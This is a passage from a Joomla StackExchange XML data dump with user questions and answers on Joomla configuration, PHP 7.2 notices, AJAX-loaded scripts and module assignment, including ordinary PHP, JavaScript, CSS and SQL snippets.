{&#xA;        $content .= '&amp;lt;span onclick=&quot;jcomments.showPage('.$object_id.', \''.$object_group.'\', '.($active_page-1).');&quot; class=&quot;page&quot; onmouseover=&quot;this.className=\'hoverpage\';&quot; onmouseout=&quot;this.className=\'page\';&quot; &amp;gt;&amp;amp;laquo;&amp;lt;/span&amp;gt;';&#xA;        }&#xA;&#xA;        for ($i=$fp; $i &amp;lt;= $lp; $i++) {&#xA;          if ($i == $active_page) {&#xA;          $content .= '&amp;lt;span class=&quot;activepage&quot;&amp;gt;&amp;lt;b&amp;gt;'.$i.'&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;';&#xA;          } else {&#xA;          $content .= '&amp;lt;span onclick=&quot;jcomments.showPage('.$object_id.', \''.$object_group.'\', '.$i.');&quot; class=&quot;page&quot; onmouseover=&quot;this.className=\'hoverpage\';&quot; onmouseout=&quot;this.className=\'page\';&quot; &amp;gt;'.$i.'&amp;lt;/span&amp;gt;';&#xA;          }&#xA;        }&#xA;&#xA;        if ($lp &amp;lt; $total_page) {&#xA;          $content .= '&amp;lt;span onclick=&quot;jcomments.showPage('.$object_id.', \''.$object_group.'\', '.($lp+1).');&quot; class=&quot;page&quot; onmouseover=&quot;this.className=\'hoverpage\';&quot; onmouseout=&quot;this.className=\'page\';&quot; &amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;';&#xA;        }&#xA;&#xA;      return $content;&#xA;      }&#xA;    }&#xA;        return '';&#xA;  }  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13028" LastEditorUserId="13028" LastEditDate="2019-01-23T19:02:13.293" LastActivityDate="2019-01-24T11:21:14.130" Title="Lazy loading script doesn't run after AJAX load" Tags="|extensions|javascript|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="24104" PostTypeId="2" ParentId="24036" CreationDate="2019-01-19T10:04:00.393" Score="1" Body="&lt;p&gt;Thanks for your answers! I have changed the sitemap plugin for my site and now dates are showing up in the search. Here is the plugin I have used: &lt;a href=&quot;https://www.aimy-extensions.com/joomla/sitemap.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.aimy-extensions.com/joomla/sitemap.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3935" LastActivityDate="2019-01-19T10:04:00.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24105" PostTypeId="2" ParentId="14246" CreationDate="2019-01-19T10:32:39.220" Score="0" Body="&lt;p&gt;As I don't have enought reputation to comment &lt;a href=&quot;https://joomla.stackexchange.com/users/7024/dennis-heiden&quot;&gt;Dennis Heiden&lt;/a&gt; answer, therefore I choose to give an answer myself just to state that I've tested the second solution given by &lt;a href=&quot;https://joomla.stackexchange.com/users/7024/dennis-heiden&quot;&gt;Dennis Heiden&lt;/a&gt; and it works perfectly. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, the given solution that I'm refferring is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$language = JFactory::getLanguage();&#xA;$language-&amp;gt;load('com_eventgallery' , JPATH_SITE . '/templates/your_template', $language-&amp;gt;getTag(), true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11392" LastEditorUserId="11392" LastEditDate="2019-01-19T13:51:08.220" LastActivityDate="2019-01-19T13:51:08.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24106" PostTypeId="1" AcceptedAnswerId="24107" CreationDate="2019-01-19T18:32:12.847" Score="0" ViewCount="264" Body="&lt;p&gt;I cannot find a option in Joomla where to configure the page title separator?&#xA;Default seems to be &quot;-&quot; and I would like to have &quot;|&quot;&lt;/p&gt;&#xA;" OwnerUserId="13241" LastActivityDate="2019-01-19T21:27:03.247" Title="Where can I configure the page title separator from &quot;-&quot; to &quot;|&quot;?" Tags="|configuration|global-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24107" PostTypeId="2" ParentId="24106" CreationDate="2019-01-19T21:27:03.247" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;Go to Languages &gt; Overrides&lt;/li&gt;&#xA;&lt;li&gt;Select your site language&lt;a href=&quot;https://i.stack.imgur.com/QUNE6.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QUNE6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create a new override&lt;/li&gt;&#xA;&lt;li&gt;Enter &lt;strong&gt;JPAGETITLE&lt;/strong&gt; in the &lt;em&gt;Language Constant&lt;/em&gt; text box&lt;/li&gt;&#xA;&lt;li&gt;Enter &lt;strong&gt;%1$s | %2$s&lt;/strong&gt; in the &lt;em&gt;Text&lt;/em&gt; textarea&lt;a href=&quot;https://i.stack.imgur.com/8BKMC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8BKMC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2019-01-19T21:27:03.247" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24108" PostTypeId="1" CreationDate="2019-01-20T00:01:33.490" Score="0" ViewCount="110" Body="&lt;p&gt;I managed to edit a file in controller to allow for the edit article link to be directly accessed if a user has a particular username. This is a core edit, but it's a local website only only my pc so I am not worried.&lt;/p&gt;&#xA;&lt;p&gt;It works when I view in one Internet Explorer, but in another Internet Explorer it doesn't show the editor --only the input for the title. If I refresh the page it shows up.&lt;/p&gt;&#xA;&lt;p&gt;I looked at &lt;code&gt;echo $this-&amp;gt;form-&amp;gt;getInput('articletext')&lt;/code&gt; in &lt;strong&gt;edit.php&lt;/strong&gt; and it is set to no editor when &lt;code&gt;var_dump()&lt;/code&gt;. When I refresh,  the dump shows tiny_mce.&lt;/p&gt;&#xA;&lt;p&gt;I can't for the life of me find what file or process sets the articletext editor nor what it bases it on (checks session or something). I know it would check the user's editor because tinymce is this user's default. It is also the site's default.&lt;/p&gt;&#xA;&lt;p&gt;Any help would be greatly appreciated.&#xA;Right now I can't find how the editor is assigned in the php code. Otherwise I might be able to find what is missing from direct link to edit article.&lt;/p&gt;&#xA;&lt;p&gt;I've compared some &lt;code&gt;var_dump&lt;/code&gt;s of this form and &lt;code&gt;$this&lt;/code&gt; params. I'm not seeing much of a difference from first view and refreshed view. Any advice?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Update1 :&lt;/h3&gt;&#xA;&lt;p&gt;Also the plugin is a nice idea but it seems likr a lot more work and learning curve. This is hard because i dont have home intetnet. But perhaps in the future i will merge it over to a plug in. If i can figure that all out.&#xA;For now mt only core hack is the controller.php in com_content. I dont know how to override only specific component controllers. Maybe I will check it out later if I have time. Thanks for all the advice everyone. For now all is working as i stated above.&lt;/p&gt;&#xA;&lt;p&gt;Also for my origional post. I meant Internet Explorer. Which i assumed any one using joomla would know ie is short form of a browser name. I am typing on a small cellphone with limited time. Sorry for not proof reading. But anyways, i think the issue I had was less about the browser and more about settings.&lt;/p&gt;&#xA;&lt;p&gt;I still cant find where joomla looks to see if a user has an editor set in their prefrence and to overrite the global configurations defualt editor with that of the users preferance. This would be nice, and I assumed this is default behaviour so I am not sure why when I edit an article on front end with super user the site ignores the users prefrence.&lt;/p&gt;&#xA;&lt;p&gt;Anyways if any one can help shine some light on this, and again I hope i have time to make a plugin override direct access based on user group or name.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Update2:&lt;/h3&gt;&#xA;&lt;p&gt;Also i noticed that the global edior was none and showing rhat instead of users prefered esitor. Just changed defuakt to tinymce and it worked.&lt;/p&gt;&#xA;" OwnerUserId="13256" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2019-01-21T05:33:51.227" Title="How to bypass deny direct access to edit link" Tags="|form|content|editor|access|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24109" PostTypeId="1" CreationDate="2019-01-20T14:59:06.587" Score="0" ViewCount="70" Body="&lt;p&gt;Totally new to Joomla. I find the &quot;new article&quot; page in the administrator dashboard is very ugly, and I don't like writing prose in an ugly environment. What's the correct way to customize the look of this page? To be more specific:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a way I can customize the HTML and CSS for &lt;em&gt;just&lt;/em&gt; this page?&lt;/li&gt;&#xA;&lt;li&gt;If so, how can I copy the default HTML and CSS so as to just make the modifications I want?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13257" LastActivityDate="2019-06-28T20:05:46.697" Title="How do I customize the look of the &quot;new article&quot; page?" Tags="|administrator|styling|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24110" PostTypeId="2" ParentId="24109" CreationDate="2019-01-20T15:41:18.673" Score="0" Body="&lt;p&gt;Its all about templates - there are some templates for the administrator interface.&#xA;Find them with google: joomla administrator templates. May be there is one that you like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried switching the administrator template? From Isis to Hathor is quite a difference. Go to extensions, styles, select Administrator instead of Site, then set a new default.&lt;/p&gt;&#xA;" OwnerUserId="13258" LastEditorUserId="13258" LastEditDate="2019-01-20T18:57:45.830" LastActivityDate="2019-01-20T18:57:45.830" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24111" PostTypeId="2" ParentId="24108" CreationDate="2019-01-20T15:47:52.533" Score="1" Body="&lt;p&gt;I would suggest you find a solution with a plugin. &#xA;otherwise you run into lots of problems updating your joomla.&#xA;look at this &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13258" LastActivityDate="2019-01-20T15:47:52.533" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24112" PostTypeId="2" ParentId="24108" CreationDate="2019-01-20T17:16:41.927" Score="-4" Body="&lt;p&gt;Got it to wotk well i thinkm i updated ie and editited content controller. Just added in a bariable to deny direct access if not in a super user group. Made a few other changes too. Im using this joomla only for one think on mt home pc. Never will update it. Its a dirty &quot;fix&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help everyone.&lt;/p&gt;&#xA;" OwnerUserId="13259" LastActivityDate="2019-01-20T17:16:41.927" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24115" PostTypeId="2" ParentId="24102" CreationDate="2019-01-21T12:51:07.670" Score="1" Body="&lt;p&gt;With Gantry 4 templates, there are two places where you can assign a menu to a module position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is at Extensions -&gt; Modules where you should be able to find a menu in the content-bottom-a module position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other is at Extensions -&gt; Template -&gt; Template Name -&gt; Menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If neither of these places reveals how the menu is being displayed, then a short term or long term solution might be to hide the module via a custom CSS like this or similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#rt-content-bottom {&#xA;  display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://joomla.stackexchange.com/a/3878/120&quot;&gt;https://joomla.stackexchange.com/a/3878/120&lt;/a&gt; for details on how to create a Custom CSS file.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2019-01-21T12:51:07.670" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24116" PostTypeId="2" ParentId="24103" CreationDate="2019-01-22T08:31:12.867" Score="2" Body="&lt;p&gt;First: I like your question and a lot of details that you provided. I like people on StackExchange who can ask questions properly, clearly with precise details. This separates the real developers from quite ignorant people. So I like your question, but: honestly it took me quite a while to understand your question. The long, actually from the point of view of your question, irrelevant details of your project can cause a bit confusion about what your question is. It's also true that many times happen with me the same, that I do not know how to ask a question about my issue. So the right question usually embrace the answer itself somewhere. :)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Your question simply: &lt;strong&gt;how to fire an&lt;/strong&gt; javascript or jquery &lt;strong&gt;script&lt;/strong&gt; after an ajax call. Or more precisely, &lt;strong&gt;after an ajax call is completed.&lt;/strong&gt; &lt;strong&gt;Any ajax call&lt;/strong&gt;. :) This is that simple now.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course this was a question of millions of developers before you so jQuery has a solution for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to use the jQuery &lt;strong&gt;&lt;code&gt;.ajaxComplete()&lt;/code&gt;&lt;/strong&gt; function. This function ignites when &lt;strong&gt;any ajax request&lt;/strong&gt; is finished on a page. Since an ajax call is also a Global ajax event when completed. These events are triggered on the document, calling any handlers which may be listening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, my suggestion is, since you already have a well working javascript script to load the youtube videos' sources. Then you should just wrap that or call that with the jQuery &lt;strong&gt;.ajaxComplete()&lt;/strong&gt; function, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ = jQuery.noConflict();&#xA;$( document ).ajaxComplete(function() {&#xA;    videoListLoad();&#xA;});&#xA;&#xA;function videoListLoad () {&#xA;&#xA;    var youtube = document.querySelectorAll( &quot;.youtube&quot; );&#xA;&#xA;    for (var i = 0; i &amp;lt; youtube.length; i++) {&#xA;&#xA;        var source = &quot;https://img.youtube.com/vi/&quot;+ youtube[i].dataset.embed +&quot;/hqdefault.jpg&quot;;&#xA;&#xA;        var image = new Image();&#xA;        image.src = source;&#xA;        image.addEventListener( &quot;load&quot;, function() {&#xA;            youtube[ i ].appendChild( image );&#xA;        }( i ) );&#xA;&#xA;        youtube[i].addEventListener( &quot;click&quot;, function() {&#xA;&#xA;            var iframe = document.createElement( &quot;iframe&quot; );&#xA;            iframe.setAttribute( &quot;frameborder&quot;, &quot;0&quot; );&#xA;            iframe.setAttribute( &quot;allowfullscreen&quot;, &quot;&quot; );&#xA;            iframe.setAttribute( &quot;src&quot;, &quot;https://www.youtube.com/embed/&quot;+ this.dataset.embed +&quot;?rel=0&amp;amp;showinfo=0&amp;amp;autoplay=1&quot; );&#xA;&#xA;            this.innerHTML = &quot;&quot;;&#xA;            this.appendChild( iframe );&#xA;        } );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create and load this additional script on your page (in the head for example) and try this and give me some feedback (Of course I have not tried this on your page). Do not touch your original script on your site, you just have to leave that there too. So you will have two similar scripts, one for normal page load and one for ajax events like pagination. Just to make sure it is clear for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info on this jQuery function is here: &lt;a href=&quot;http://api.jquery.com/ajaxcomplete/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://api.jquery.com/ajaxcomplete/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You initial javascript function could be bound other way like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).bind(&quot;ajaxComplete&quot;, function(){ ...// your function... });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I just wanted to give you an example which you can use on your page. I hope this will solve your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Of course, this can starts other new questions later, for example: how to unbind this function from other irrelevant ajax requests on the page but that's the question of another day)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, there is a possibility that the above will not work (if the ajax call is not jQuery ajax), however sounds very good, then the next valuable approach would be to build the video source loading .js function (script) in the ajax.js function which has to fire this function this way. So I copy here the edited ajax.js file and please use this instead of your file (keep the original ajax.js file though!! You can just rename it old-ajax.js or something.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just built in the videoloading function after the ajax response is processed. So you will see if it's successful this way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* based on xajax Javascript library (http://www.xajaxproject.org) */&#xA;if (!window.jtajax) {&#xA;&#xA;    function jtAJAX()&#xA;    {&#xA;        this.options = {url: '',type: 'post',nocache: true,data: ''};&#xA;&#xA;        this.$ = function(id) {if(!id){return null;}var o=document.getElementById(id);if(!o&amp;amp;&amp;amp;document.all){o=document.all[id];}return o;};&#xA;        this.extend = function(o, e){for(var k in (e||{}))o[k]=e[k];return o;};&#xA;        this.encode = function(t){return encodeURIComponent(t);};&#xA;        this.setup = function(options) {this.options = this.extend(this.options, options);};&#xA;&#xA;        this.xhr = function()&#xA;        {&#xA;            var xhr = null;&#xA;            if ('undefined' != typeof XMLHttpRequest) xhr = new XMLHttpRequest();&#xA;            if (!xhr &amp;amp;&amp;amp; 'undefined' != typeof ActiveXObject) {&#xA;                var msxmlhttp = new Array('Msxml2.XMLHTTP.4.0','Msxml2.XMLHTTP.3.0','Msxml2.XMLHTTP','Microsoft.XMLHTTP');&#xA;                for (var i=0;i&amp;lt;msxmlhttp.length;i++){try{xhr=new ActiveXObject(msxmlhttp[i]);}catch(e){xhr=null;}}&#xA;            }&#xA;            return xhr;&#xA;        };&#xA;&#xA;        this.form2query = function(sId)&#xA;        {&#xA;            var frm = this.$(sId);&#xA;            if (frm &amp;amp;&amp;amp; frm.tagName.toUpperCase() == 'FORM') {&#xA;                var e = frm.elements, query = [];&#xA;                for (var i=0; i &amp;lt; e.length; i++) {&#xA;                    var name = e[i].name;&#xA;                    if (!name) continue;&#xA;                    if (e[i].type &amp;amp;&amp;amp; ('radio' == e[i].type || 'checkbox' == e[i].type) &amp;amp;&amp;amp; false === e[i].checked) continue;&#xA;                    if ('select-multiple' == e[i].type) {&#xA;                        for (var j = 0; j &amp;lt; e[i].length; j++) {&#xA;                            if (true === e[i].options[j].selected)&#xA;                                query.push(name+&quot;=&quot;+this.encode(e[i].options[j].value));&#xA;                        }&#xA;                    } else { query.push(name+&quot;=&quot;+this.encode(e[i].value));&#xA;                    }&#xA;                }&#xA;                return query.join('&amp;amp;');&#xA;            }&#xA;            return '';&#xA;        };&#xA;&#xA;        this.startLoading = function(){};&#xA;        this.finishLoading = function(){};&#xA;&#xA;        this.ajax = function(options)&#xA;        {&#xA;            var xhr = this.xhr();&#xA;            if (!xhr) return false;&#xA;            var o = this.extend(this.options, options);&#xA;            var url = o.url, jtx = this;url=url.replace(/&amp;amp;amp;/g,'&amp;amp;');&#xA;            var r=url;var h=location.hostname,d,i1,i2;i1=r.indexOf('://');if(i1!=-1){i2=r.indexOf('/',i1+3);if(i2!=-1){d=r.substring(i1+3,i2);if(d!=h){if(location.port!=''){h=h+':'+location.port;}r=r.replace(d,h);url=r;}}}&#xA;&#xA;            if ('get' == o.type) {&#xA;                if (true === o.nocache) {&#xA;                    var ts=new Date().getTime();&#xA;                    url += (url.indexOf(&quot;?&quot;)==-1 ? '?' : '&amp;amp;') + '_jtxr_' + ts;&#xA;                }&#xA;                if (o.data) {&#xA;                    url += (url.indexOf(&quot;?&quot;)==-1 ? '?' : '&amp;amp;') + o.data;&#xA;                    o.data = null;&#xA;                }&#xA;            }&#xA;&#xA;            xhr.open(o.type.toUpperCase(), url, true);&#xA;&#xA;            if ('post' == o.type)&#xA;                try {xhr.setRequestHeader(&quot;Content-Type&quot;, &quot;application/x-www-form-urlencoded&quot;);}catch(e){}&#xA;            if (true === o.nocache)&#xA;                xhr.setRequestHeader('If-Modified-Since', 'Thu, 01 Jan 1970 00:00:00 GMT');&#xA;&#xA;            xhr.onreadystatechange = function() {&#xA;                if (xhr.readyState != 4) return;&#xA;                jtx.finishLoading();&#xA;                if (xhr.status==200) {&#xA;                    jtx.processResponse(xhr.responseText);&#xA;                }&#xA;                delete xhr;&#xA;                xhr = null;&#xA;            };&#xA;            try {&#xA;                jtx.startLoading();&#xA;                xhr.send(o.data);&#xA;            } catch(e) { jtx.finishLoading(); }&#xA;&#xA;            delete jtx;&#xA;            delete xhr;&#xA;            delete o;&#xA;            return true;&#xA;        };&#xA;&#xA;        this.call = function(sFunction, aArgs, sType, sForm)&#xA;        {&#xA;            var params = 'jtxf=' + this.encode(sFunction);&#xA;            if (aArgs) {&#xA;                for (var i=0;i&amp;lt;aArgs.length;i++) {&#xA;                    params += '&amp;amp;jtxa[]=' + this.encode(aArgs[i]);&#xA;                }&#xA;            } else if (sForm) {&#xA;                params += '&amp;amp;' + this.form2query(sForm);&#xA;            }&#xA;&#xA;            this.ajax({type: sType, data: params});&#xA;            return true;&#xA;        };&#xA;&#xA;        this.processResponse = function(sText)&#xA;        {&#xA;            if(sText==='') return false;&#xA;            if(sText.substring(0,3)!='[ {'){var idx=sText.indexOf('[ {');sText=sText.substr(idx);}&#xA;            var result;try {result=eval(sText);}catch(e){}&#xA;            if ('undefined' == typeof result) {return false;}&#xA;&#xA;            var cmd, id, property, data, obj = null;&#xA;&#xA;            for (var i=0;i&amp;lt;result.length;i++) {&#xA;                cmd         = result[i]['n'];&#xA;                id      = result[i]['t'];&#xA;                property    = result[i]['p'];&#xA;                data        = result[i]['d'];&#xA;                obj         = this.$(id);&#xA;&#xA;                switch(cmd) {&#xA;                    case 'as': if(obj){eval(&quot;obj.&quot;+property+&quot;=data;&quot;);} break;&#xA;                    case 'al': if(data){alert(data);} break;&#xA;                    case 'js': if(data){eval(data);} break;&#xA;                    default: this.error('Unknown command: ' + cmd);break;&#xA;                }&#xA;            }&#xA;&#xA;            delete result;&#xA;            delete cmd;&#xA;            delete id;&#xA;            delete property;&#xA;            delete data;&#xA;            delete obj;&#xA;            this.videoListLoad();&#xA;            return true;&#xA;        };&#xA;&#xA;        this.error = function(){};&#xA;&#xA;        this.videoListLoad = function()&#xA;        {&#xA;&#xA;            var youtube = document.querySelectorAll( &quot;.youtube&quot; );&#xA;&#xA;            for (var i = 0; i &amp;lt; youtube.length; i++) {&#xA;&#xA;                var source = &quot;https://img.youtube.com/vi/&quot;+ youtube[i].dataset.embed +&quot;/hqdefault.jpg&quot;;&#xA;&#xA;                var image = new Image();&#xA;                image.src = source;&#xA;                image.addEventListener( &quot;load&quot;, function() {&#xA;                    youtube[ i ].appendChild( image );&#xA;                }( i ) );&#xA;&#xA;                youtube[i].addEventListener( &quot;click&quot;, function() {&#xA;&#xA;                    var iframe = document.createElement( &quot;iframe&quot; );&#xA;                    iframe.setAttribute( &quot;frameborder&quot;, &quot;0&quot; );&#xA;                    iframe.setAttribute( &quot;allowfullscreen&quot;, &quot;&quot; );&#xA;                    iframe.setAttribute( &quot;src&quot;, &quot;https://www.youtube.com/embed/&quot;+ this.dataset.embed +&quot;?rel=0&amp;amp;showinfo=0&amp;amp;autoplay=1&quot; );&#xA;&#xA;                    this.innerHTML = &quot;&quot;;&#xA;                    this.appendChild( iframe );&#xA;                } );&#xA;            }&#xA;&#xA;        };&#xA;&#xA;    }&#xA;&#xA;    var jtajax = new jtAJAX();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-01-24T11:21:14.130" LastActivityDate="2019-01-24T11:21:14.130" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="24118" PostTypeId="1" CreationDate="2019-01-22T10:42:11.483" Score="0" ViewCount="47" Body="&lt;p&gt;I realise I'm taking a gamble here by asking what &lt;strong&gt;could&lt;/strong&gt; potentially be off-topic but considering it's still related to Joomla and &lt;a href=&quot;https://joomla.stackexchange.com/questions/10506/using-joom-as-part-of-extension-name&quot;&gt;this&lt;/a&gt; wasn't closed, I thought I'd do so anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I found a &lt;a href=&quot;https://twitter.com/joomla/status/1087636140511895552&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tweet&lt;/a&gt; asking if users have registered for a limited license if they use the word &quot;Joomla&quot; in their name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as it stands:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I use the word &quot;&lt;strong&gt;joom&lt;/strong&gt;&quot; in my comain name, not the full word&lt;/li&gt;&#xA;&lt;li&gt;I received approval from OSM about 7 years ago for this usage&lt;/li&gt;&#xA;&lt;li&gt;OSM/Joomla! have not contacted me directly stating I need this license&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So my question, based on this information is, am I obligated to apply for this (new) license?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-01-22T10:42:11.483" Title="Using &quot;Joomla&quot; as part of your domain name" Tags="|osm|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24119" PostTypeId="1" AcceptedAnswerId="24120" CreationDate="2019-01-22T16:35:05.633" Score="3" ViewCount="1445" Body="&lt;p&gt;I got this notice when I changed a Joomla website from PHP 5.6 to PHP7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Only variables should be passed by reference in ... on line 116&quot;&#xA;The second line is line 116&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if($this-&amp;gt;isViewExcluded($article)) {&#xA;        if($this-&amp;gt;isArticleExcluded(JRequest::getInt('id', 0))) {&#xA;            $this-&amp;gt;createButton($article);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Same for line 257&#xA;The third line beneath&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getArticleLink(&amp;amp;$article)&#xA;{&#xA;        $u =&amp;amp; JFactory::getURI();&#xA;        return $u-&amp;gt;toString();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I read &lt;a href=&quot;https://joomla.stackexchange.com/questions/17738/replacing-jrequest-deprecated-with-jinput&quot;&gt;Replacing JRequest (deprecated) with JInput&lt;/a&gt; when I got the notice and tried a lot with the solution given on that page (and other pages), but unfortunately no success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone has a solution to make this work in PHP7.2 ?&lt;/p&gt;&#xA;" OwnerUserId="13267" LastActivityDate="2019-01-22T18:52:29.873" Title="PHP7.2 Notice: Only variables should be passed by reference in" Tags="|php7|jrequest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24120" PostTypeId="2" ParentId="24119" CreationDate="2019-01-22T17:24:10.523" Score="2" Body="&lt;p&gt;Because the function argument contains a &lt;code&gt;&amp;amp;&lt;/code&gt; at the beginning, it requires a variable to be passed by reference rather than referencing an object value directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you'll need to replace this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;isArticleExcluded(JRequest::getInt('id', 0))) {&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$id = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('id');&#xA;&#xA;if ($this-&amp;gt;isArticleExcluded($id)) {&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you can remove the &lt;code&gt;&amp;amp;&lt;/code&gt; before &lt;code&gt;JFactory&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-01-22T18:52:29.873" LastActivityDate="2019-01-22T18:52:29.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24121" PostTypeId="1" AcceptedAnswerId="24122" CreationDate="2019-01-22T22:31:33.323" Score="0" ViewCount="49" Body="&lt;p&gt;I have a website (not made by me, working on restyling) that manage achitect pubblications and every architect have page with own menu with Home - Bio - Project 1 - Project 2 and so on. And i have modules (bio and projects) assigned to Home. Now i have something like 580 Bio modules and i would like to remove them only from Home of architect page. Is there anyway to do that in &quot;automatic way&quot;? Or i have to open every single module and remove assignment from home menu item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.9.2 installed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code that unset module assignment on page that you want&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    DELETE FROM dbprefix_modules_menu&#xA;    WHERE menuid = HOME_PAGE_ID&#xA;    AND moduleid IN ( SELECT moduleid FROM (&#xA;                          SELECT mm.moduleid &#xA;                          FROM dbprefix_modules_menu AS mm &#xA;                          WHERE mm.moduleid = MODULE_ID ) tempTable                     &#xA;                     )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace dbprefix with your real database prefix.&#xA;Replace HOME_PAGE_ID and MODULE_ID with their corresponding values from the ID column of the Menu Items manager, look at the attached screenshot.&lt;/p&gt;&#xA;" OwnerUserId="13270" LastEditorUserId="13270" LastEditDate="2019-01-29T20:22:04.383" LastActivityDate="2019-01-29T20:22:04.383" Title="Remove page assignment from many modules" Tags="|module-display|module-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
